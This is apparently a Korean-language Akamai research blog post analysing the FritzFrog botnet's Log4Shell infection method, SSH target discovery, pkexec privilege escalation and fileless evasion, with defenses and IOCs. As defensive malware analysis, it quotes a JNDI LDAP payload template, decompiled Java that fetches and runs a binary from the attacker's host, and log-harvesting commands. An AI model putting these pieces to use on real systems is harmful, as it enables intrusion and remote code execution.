새로운 무기를 도입한 FritzFrog 봇넷

Ori David

에 의해 작성

Ori David

February 01, 2024

Ori David

에 의해 작성

Ori David

오리 데이비드는 Akamai의 보안 연구원입니다. 그는 공격적 보안, 멀웨어 분석, 위협 탐색에 중점을 둔 리서치를 수행합니다. 

Akamai Security Intelligence Group은 2021 Log4Shell 취약점을 악용한 FritzFrog 봇넷의 새로운 변형에 대한 자세한 정보를 밝혀냈습니다.

편집 및 추가 설명: 트리샤 하워드(Tricia Howard)

핵심 요약

  • Akamai Security Intelligence Group(SIG)은 2021 Log4Shell 취약점을 악용한 FritzFrog 봇넷의 새로운 변형에 대한 자세한 정보를 밝혀냈습니다.

  • 그동안 2만 건이 넘는 FritzFrog 공격과 1500명이 넘는 피해자가 나왔습니다.

  • 멀웨어는 취약한 SSH 인증정보에 대한 무차별 대입 공격을 감행해 인터넷 기반 서버를 감염시킵니다. 이제 최신 변형 공격이 감염된 호스트의 여러 시스템 파일을 읽고 가장 취약한 이 공격의 잠재적 표적을 탐지합니다.

  • 가능한 한 많은 취약한 Java 애플리케이션을 표적으로 하는 무차별 대입 공격으로 취약점을 공략합니다.

  • 이 멀웨어는 이제 polkit Linux 구성요소에서 발생하는 권한 상승 취약점인 CVE-2021-4034를 악용하는 모듈도 포함하고 있습니다. 이 모듈은 취약한 서버에서 멀웨어를 루트로 실행하게 합니다.

  • 이 블로그 게시물에는 FritzFrog 감염 방지를 돕기 위한 IOC(Indicator of Compromise)와 추가적인 방어 조치가 포함되어 있습니다.

FritzFrog의 배경 정보

Akamai는 이전에 발견한 위협을 비롯해 Akamai의 글로벌 센서 네트워크를 통해 지속적으로 위협을 모니터링하고 있습니다. 그 중에는 2020년에 처음 확인된 FritzFrog 봇넷이 있는데, 이는 AMD 및 ARM 기반 머신을 모두 지원하도록 컴파일된 정교한 Golang 기반 피어투피어 봇넷입니다. 지속적으로 유지 관리되는 이 멀웨어는 수년에 걸쳐 기능이 추가되고 개선되면서 진화해 왔습니다.

FritzFrog는 전통적으로 SSH 무차별 대입을 사용해 여기저기 돌아다니며 수년 간 수천의 표적을 성공적으로 감염시켰습니다. 감염된 모든 호스트는 FritzFrog 네트워크의 일부가 되어 감염된 피어와 통신하며 정보, 페이로드, 설정을 공유합니다.

지속적인 유지보수 덕분에 이 멀웨어는 다양한 흥미로운 기능을 무기로 갖추고 있으며, 본 블로그에서 논의할 Log4Shell 악용의 도입과 같은 추가 기능도 포함됩니다. 예시를 들자면, 탐지 기회를 제한하기 위해 디스크 접근 회피를 시도하며, TOR를 통한 통신을 지원하고, 경쟁 멀웨어를 제거하는 '안티바이러스' 모듈까지 갖추고 있습니다.

감염 기법으로 Log4Shell 사용

이전에 FritzFrog는 SSH 무차별 대입을 유일한 감염 기법으로 사용했지만, 지금 멀웨어의 최신 버전은 새로운, Log4Shell 악용은 업계에서 'Frog4Shell'이라고 불립니다.

Log4Shell 취약점은 2021년 12월에 처음 탐지되었으며, 수개월 동안 업계 전반에 걸친 대대적인 패치 작업이 진행되었습니다. 2년이 지난 지금까지도 많은 인터넷 기반 애플리케이션이 이 악용에 여전히 취약합니다.

취약한 인터넷 기반 자산은 심각한 문제지만, FritzFrog는 실제로 내부 호스트와 같은 추가적인 유형의 자산을 리스크에 노출시킵니다. 이 취약점을 처음 발견했을 때 감염의 중대한 리스크 때문에 인터넷 기반 애플리케이션이 제일 먼저 패치 대상이 되었습니다. 반면, 악용 가능성이 낮을 것 같은 내부 컴퓨터는 종종 무시되거나 패치되지 않은 상태로 남아 FritzFrog의 표적이 되었습니다.

확산 루틴의 일부로 멀웨어는 내부 네트워크의 모든 호스트에 연결을 시도합니다. 이는 net__Interface_Addrs 표준 Go 함수를 호출해 접근 가능한 서브넷을 식별하고 각 서브넷 내 가능한 주소를 표적으로 삼는 방식으로 작동합니다. 그림 1에는 로컬 네트워크의 모든 주소에 연결을 시도하는 멀웨어가 나와 있습니다.

그림 1에는 로컬 네트워크의 모든 주소에 연결을 시도하는 멀웨어가 나와 있습니다. 그림 1: 표적을 탐지하기 위해 로컬 네트워크를 스캔하는 FritzFrog

'고위험군'에 속하는 인터넷 기반 애플리케이션이 패치되었어도 FritzFrog에 의한 네트워크 내 자산의 유출은 패치되지 않은 내부 자산의 악용으로 이어질 수 있습니다.

FritzFrog는 포트 8080, 8090, 8888, 9000에서 HTTP 서버를 조회해 잠재적인 Log4Shell 표적을 탐지합니다. 공격자는 취약점을 트리거하기 위해 취약한 log4j 애프리케이션에서 강제로 페이로드를 포함하는 데이터를 기록하게 만들어야 합니다(표 1).

  ${jndi:ldap://<attacker_address>/<payload>}

표 1: Log4Shell 페이로드 예

취약한 log4j 라이브러리에서 잘못 구문 분석된 이 페이로드는 Java 애플리케이션을 'attacker_address'에 지정된 LDAP 서버로 강제로 연결하고 여기에서 Java 클래스를 다운로드한 후 실행합니다(그림 2).

취약한 log4j 라이브러리에서 잘못 구문 분석된 이 페이로드는 Java 애플리케이션을 'attacker_address'에 지정된 LDAP 서버로 강제로 연결하고 여기에서 Java 클래스를 다운로드한 후 실행합니다(그림 2). 그림 2: 일반적인 Log4Shell 악용 흐름

FritzFrog는 HTTP 헤더를 통해 페이로드를 주입해 이 취약점을 악용하려고 시도합니다(그림 3). 흥미롭게도 특정 HTTP 헤더를 표적으로 하는 대신, FritzFrog는 최대한 많은 헤더를 표적으로 삼습니다.

FritzFrog는 HTTP 헤더를 통해 페이로드를 주입해 이 취약점을 악용하려고 시도합니다(그림 3). 그림 3: 여러 HTTP 헤더에 포함된 FritzFrog Log4Shell 악용

FritzFrog는 하나 이상의 헤더가 애플리케이션에서 기록되기를 바라며 수많은 HTTP 헤더에서 Log4Shell 페이로드를 전송합니다. 이 무차별 대입 악용 접근 방식의 목표는 일반적인 Log4Shell 악용이 광범위한 애플리케이션에 영향을 주는 것입니다.

그림 3에 나온 주입된 페이로드는 애플리케이션을 FritzFrog의 자체 IP 주소로 다시 연결시켜 멀웨어가 자체 LDAP 서버를 호스팅해 악성 Java 클래스를 지원하는 데 사용합니다. 실행되면 Java 클래스가 HTTP를 통해 공격 컴퓨터에 연결되고 'robots.txt' 이름 아래 호스팅된 멀웨어 바이너리를 다운로드합니다(표 2).

  String ff_host_http_server_address = ff_host_http_server_address.trim();
  payload_url = new URL("http://" + ff_host_http_server_address + "/" + 
  ff_username + "/robots.txt");
  payload_url_stream = payload_url.openStream();

표 2: FritzFrog 바이너리를 다운로드하는 디컴파일된 Log4Shell Java 페이로드

'robots.txt' 파일은 'ifconfig' 이름 아래에 저장됩니다. 그리고 Java 클래스는 ifconfig 바이너리를 실행하고 파일을 삭제합니다(표 3).

  FileOutputStream ff_payload_file = new FileOutputStream(paths[counter] + "ifconfig");
  ff_payload_file.write(var2.toByteArray());
  ff_payload_file.close();
  ff_payload_file_exec = new File(paths[counter] + "ifconfig");
  ff_payload_file_exec.setExecutable(true);
  Process ff_proc = Runtime.getRuntime().exec(paths[counter] + "ifconfig init " + var9 + ":22 " + ff_username + " exploit_log4shell");
  if (ff_proc.waitFor() == 0) {
    ff_payload_file_exec.delete();
    return;
}

표 3: FritzFrog 바이너리를 실행하는 디컴파일된 Log4Shell Java 페이로드

그림 4에는 FritzFrog에서 이용하는 Log4Shell 악용 흐름이 나와 있습니다.

그림 4에는 FritzFrog에서 이용하는 Log4Shell 악용 흐름이 나와 있습니다. 그림 4: FritzFrog Log4Shell 악용 흐름

SSH 표적 검색 방법

FritzFrog는 Log4Shell 악용을 추가하는 기능 외에도 메인 공격 기법의 표적을 탐지하는 기능(SSH 무차별 대입)을 개선했습니다. FritzFrog는 무작위로 생성된 IP 주소를 계속 표적으로 삼는 동시에, 이제 피해자마다 여러 시스템 로그를 열거해 특정 SSH 표적을 식별하려고 시도합니다.

인증 로그

Linux의 auth.log 파일에는 무엇보다도 해당 머신에 대한 연결 정보 등이 포함됩니다. FritzFrog는 이러한 로그를 스캔하고 IP 주소를 조회해 네트워크의 활성 클라이언트를 표적으로 삼습니다. 멀웨어는 데이터에 접속하기 위해 다음 명령어를 실행합니다.

cat /var/log/auth*

zcat /var/log/auth*

이 명령어는 모든 평문 파일 및 압축된 로그 파일의 내용을 출력합니다.

SSH 알려진 호스트

호스트가 원격 SSH 서버에 연결하면 연결 정보가 자동으로 ~/.ssh/known_hosts 파일에 저장됩니다. FritzFrog는 이러한 호스트의 주소를 추출하고 표적으로 삼습니다.

이를 통해 멀웨어는 활성 및 도달 가능한 SSH 서버 목록을 얻습니다. 또한 이러한 서버는 감염된 서버와 동일한 소유자가 관리할 가능성이 크기 때문에 마찬가지로 취약한 암호를 공유할 수도 있습니다.

이력 파일

Linux 시스템에서 실행되는 모든 명령어는 history file이라는 특수 로그에 저장됩니다. FritzFrog는 다음 명령어를 실행해 이전의 ssh 및 scp 연결을 식별하려고 합니다.

history | grep -E \"(scp|ssh)\"

FritzFrog는 이러한 명령에서 IP 주소를 추출하고 표적으로 삼습니다. known_hosts 파일과 유사하게, 이 파일은 활성화되고 접근 가능한 SSH 서버 목록을 제공할 수 있습니다.

권한 확대

Akamai에서 확인한 또 다른 변화는, 멀웨어에 권한 확대 기능이 추가된 점입니다. 처음 실행될 때 FritzFrog는 프로세스의 권한을 확인합니다. 실행 사용자가 루트가 아닌 경우 'main_RunBlasty' 함수가 호출됩니다(그림 5).

 실행 사용자가 루트가 아닌 경우 'main_RunBlasty' 함수가 호출됩니다(그림 5). 그림 5: 프로세스가 루트로 실행되지 않고 'main_RunBlasty' 함수를 실행하게 하는 FritzFrog

“RunBlasty” 함수는 “which” 명령어를 실행하며 시작됩니다. 이 명령어는 시스템에서 다른 명령어의 전체 경로를 찾을 수 있게 하는 유틸리티입니다(그림 6).

'RunBlasty' 함수는 'which' 명령어를 실행하며 시작됩니다. 이 명령어는 시스템에서 다른 명령어의 전체 경로를 찾는 유틸리티입니다(그림 6). 그림 6: FritzFrog의 'which' 명령어 실행

멀웨어가 pkexec 바이너리의 위치를 찾으려 시도하는 것을 확인할 수 있습니다. (취약점과 관련된 점을 찾으려고 한다는 점에서 vulneraBELLities라고 불러도 되겠군요.)

그러면 멀웨어에서 자체 실행 파일에 포함된 2개 파일을 추출합니다(그림 7). 해당 파일은 Base64로 인코딩된 gzip 파일에 해당하는 문자열로 저장됩니다. 추출된 파일은 blastypayload.so입니다.

그러면 멀웨어에서 자체 실행 파일에 포함된 2개 파일을 추출합니다(그림 7). 해당 파일은 Base64로 인코딩된 gzip 파일에 해당하는 문자열로 저장됩니다. 여기서 추출된 파일은 blasty 및 payload.so입니다. 그림 7: 멀웨어 바이너리에 포함된 파일 추출

FritzFrog는 파일을 생성한 후 blasty를 실행합니다. 이 파일은 C로 작성된 ELF입니다. 해당 코드를 살펴보면 매우 단순한데, 환경 변수와 약간의 상호작용 후 pkexec를 실행합니다(그림 8).

FritzFrog는 파일을 생성한 후 blasty를 실행합니다. 이 파일은 C로 작성된 ELF입니다. 해당 코드를 살펴보면 매우 단순합니다. 환경 변수와 약간 상호 작용한 후에 pkexec를 실행합니다(그림 8). 그림 8: 분해된 blasty 코드

이 문자열을 검색하면 즉시 CVE-2021-4034에 대한 이 악용 코드로 연결됩니다. 이 polkit Linux 구성요소의 취약점은 2022년 Qualys에 의해 공개되었으며 polkit을 실행 중인 모든 Linux 머신에서 권한 상승을 허용할 수 있습니다. polkit은 대부분의 Linux 배포판에 기본 설치되므로 패치되지 않은 많은 머신이 여전히 이 CVE에 취약합니다.

이 악용은 pkexec이 SUID 프로그램이라는 점을 악용합니다. 즉, 권한이 낮은 사용자가 실행하더라도 루트 권한으로 실행됩니다. 이 취약점은 pkexec이 공격자가 제어하는 라이브러리를 강제 로드 및 실행하도록 유도해 루트 권한으로 코드 실행을 가능하게 합니다.

Blasty는 이 취약점을 악용해 pkexec이 payload.so를 로드 및 실행하도록 만듭니다. 그림 9에서 볼 수 있듯이, 이 라이브러리는 프로세스의 uid와 gid를 0(루트)으로 설정하고 FritzFrog의 바이너리인 root_update를 실행합니다.

그림 9와 같이 이 라이브러리는 프로세스의 uid 및 gid를 0으로 설정하고(즉, 루트) FritzFrog의 바이너리인 root_update를 실행합니다. 그림 9: FritzFrog를 루트로 실행하는 payload.so

또 다른 흥미로운 점은 blastypayload.so가 모두 AMD64 아키텍처용으로 컴파일되었다는 것입니다. ARM에서 실행되는 FritzFrog 변종에서도 마찬가지입니다. 즉, AMD64 CPU에서 실행되지 않는 머신에서는 악용이 실패하게 됩니다.

방어 회피

FritzFrog는 계속해서 탐지를 회피하고 숨겨진 상태를 유지하기 위한 기법을 사용합니다. 특히 가능하면 디스크로 파일을 삭제하지 않도록 특별히 주의를 기울입니다. 개발자는 이를 위해 /dev/shmmemfd_create라는 Linux 기능 2개를 사용합니다.

/dev/shm

첫 번째 기법에서는 /dev/shm 폴더(shm은 공유 메모리를 의미함)를 사용합니다. 이 폴더는 시스템에서 다양한 프로세스 간 효율적인 통신을 지원하는 디렉터리입니다(그림 10). 일반적인 파일 시스템 폴더처럼 보이지만 /dev/shm은 사실 RAM에 직접 매핑되며, 이 아래에 생성된 모든 파일은 디스크에 전혀 기록되지 않습니다.

FritzFrog는 /dev/shm에 파일을 쓰고 여기서 실행함으로써 이 폴더를 사용해 파일리스 실행을 가능하게 합니다. 이러한 활동을 모니터링하기 위해 우리는 멀웨어를 실행하고 inotifywait 유틸리티를 사용해 /dev/shm 내 파일 작업을 검사할 수 있습니다. 멀웨어가 이 디렉터리에 여러 파일을 쓰는 모습이 보입니다. 예를 들어, 그림 8에서 멀웨어는 모든 pkexec 악용 파일을 실행하기 전에 /dev/shm에 쓰고 있습니다.

첫 번째 기법에서는 /dev/shm 폴더(shm은 공유 메모리를 의미함)를 사용합니다. 이 폴더는 시스템에서 다양한 프로세스 사이에서 효율적인 통신을 지원하는 디렉터리입니다(그림 10). 그림 10: /dev/shm 디렉터리에 대한 FritzFrog 파일 접속 이벤트 모니터링

memfd_create

두 번째 기법은 memfd_create 함수를 사용하며 매뉴얼 페이지에 다음과 같이 설명되어 있습니다.

memfd_create()는 익명의 파일을 생성하고 이를 참조하는 파일 디스크립터를 반환합니다. 이 파일은 일반 파일처럼 작동하며, 수정하거나 자르거나 메모리를 매핑할 수 있습니다.  그러나 RAM에 상주한다는 점에서 일반 파일과는 다릅니다.

이전 기법과 마찬가지로, Akamai는 디스크로 이동하지 않고 파일을 생성하는 간편한 방법을 지원합니다. FritzFrog는 마이너 페이로드를 실행할 때 이 기법을 사용합니다(그림 11). 즉, memfd_create에서 생성한 익명의 파일에 페이로드를 쓰고 실행합니다.

FritzFrog는 miner 페이로드를 실행할 때 이 기법을 사용합니다(그림 11). 즉, memfd_create에서 생성한 익명의 파일에 페이로드를 쓰고 실행합니다. 그림 11: memfd_create를 사용해 miner 페이로드를 익명의 파일에 쓰는 FritzFrog

방어

Akamai는 네크워크 세그멘테이션을 사용하고 일반적인 멀웨어 기법과 절차를 탐지하는 두 가지 방어 전략을 추천합니다.

  1. 네트워크 세그멘테이션은 측면 이동을 차단함으로써 FritzFrog가 영향을 미치지 못하도록 제한할 수 있습니다. 소프트웨어 기반 세그멘테이션은 비교적 간단한 솔루션으로 장기적인 방어 태세를 구축할 수 있습니다.

  2. 우리는 SSH 서버에서 실행되는 FritzFrog 탐지 스크립트를 제공했으며 이는 다음 FritzFrog 지표들을 확인합니다.

    a. 이름이 nginx, ifconfig, php-fpm, apache2 또는 libexec이고 실행 파일이 파일 시스템에 더 이상 존재하지 않는 실행 중인 프로세스(아래 예시 참조)

    b. 포트 1234 수신 대기

결론

2023년 공격자의 주요 트렌드는 기법에서 악용으로의 전환였습니다. 이에 따라 원데이 및 제로데이 악용이 광범위하게 활용되었으며 기업 침투에 가장 효과적인 방법으로 입증되었습니다.

FritzFrog가 자신의 무기로 악용 기능을 새롭게 추가하면서 이러한 트렌드에도 비슷한 변화가 생겼습니다. 이 블로그 게시물에서는 이 변화를 대표하는 Log4Shell 취약점을 악용하는 추가 감염 기법 및 pkexec 악용 모듈과 같은 두 가지 추가된 기능을 다룹니다. 이러한 트렌드는 향후 FritzFrog 버전에서도 계속될 것이라 판단되며, 멀웨어에 악용을 더 추가하는 것은 시간 문제일 뿐입니다.

Akamai SIG는 이 위협을 지속적으로 모니터링하고 다른 위협과 마찬가지로 연구 결과를 게시하겠습니다. FritzFrog 업데이트 및 기타 보안 리서치 소식을 받아보려면 X(구 Twitter)에서 Akamai를 팔로우하세요.

IOC

FritzFrog 바이너리

AMD

f77ab04ee56f3cd4845d4a80c5817a7de4f0561d976d87563deab752363a765d

ARM

fb3371dd45585763f1436afb7d64c202864d89ee6cbb743efac9dbf1cefcc291

Log4Shell 페이로드

52b11d3fa9206f51c601bd85cb480102fd938894b7274fac3d20915eb3af44f8

'Blasty' pkexec 악용

Blasty

85cb8ceda7d2a29bc7c6c96dd279c43559797a624fc15d44da53ca02379afe01

Payload.so

0b95071c657f23d4d8bfa39042ed8ad0a1c1bceb6b265c1237c12c4c0818c248



Ori David

에 의해 작성

Ori David

February 01, 2024

Ori David

에 의해 작성

Ori David

오리 데이비드는 Akamai의 보안 연구원입니다. 그는 공격적 보안, 멀웨어 분석, 위협 탐색에 중점을 둔 리서치를 수행합니다.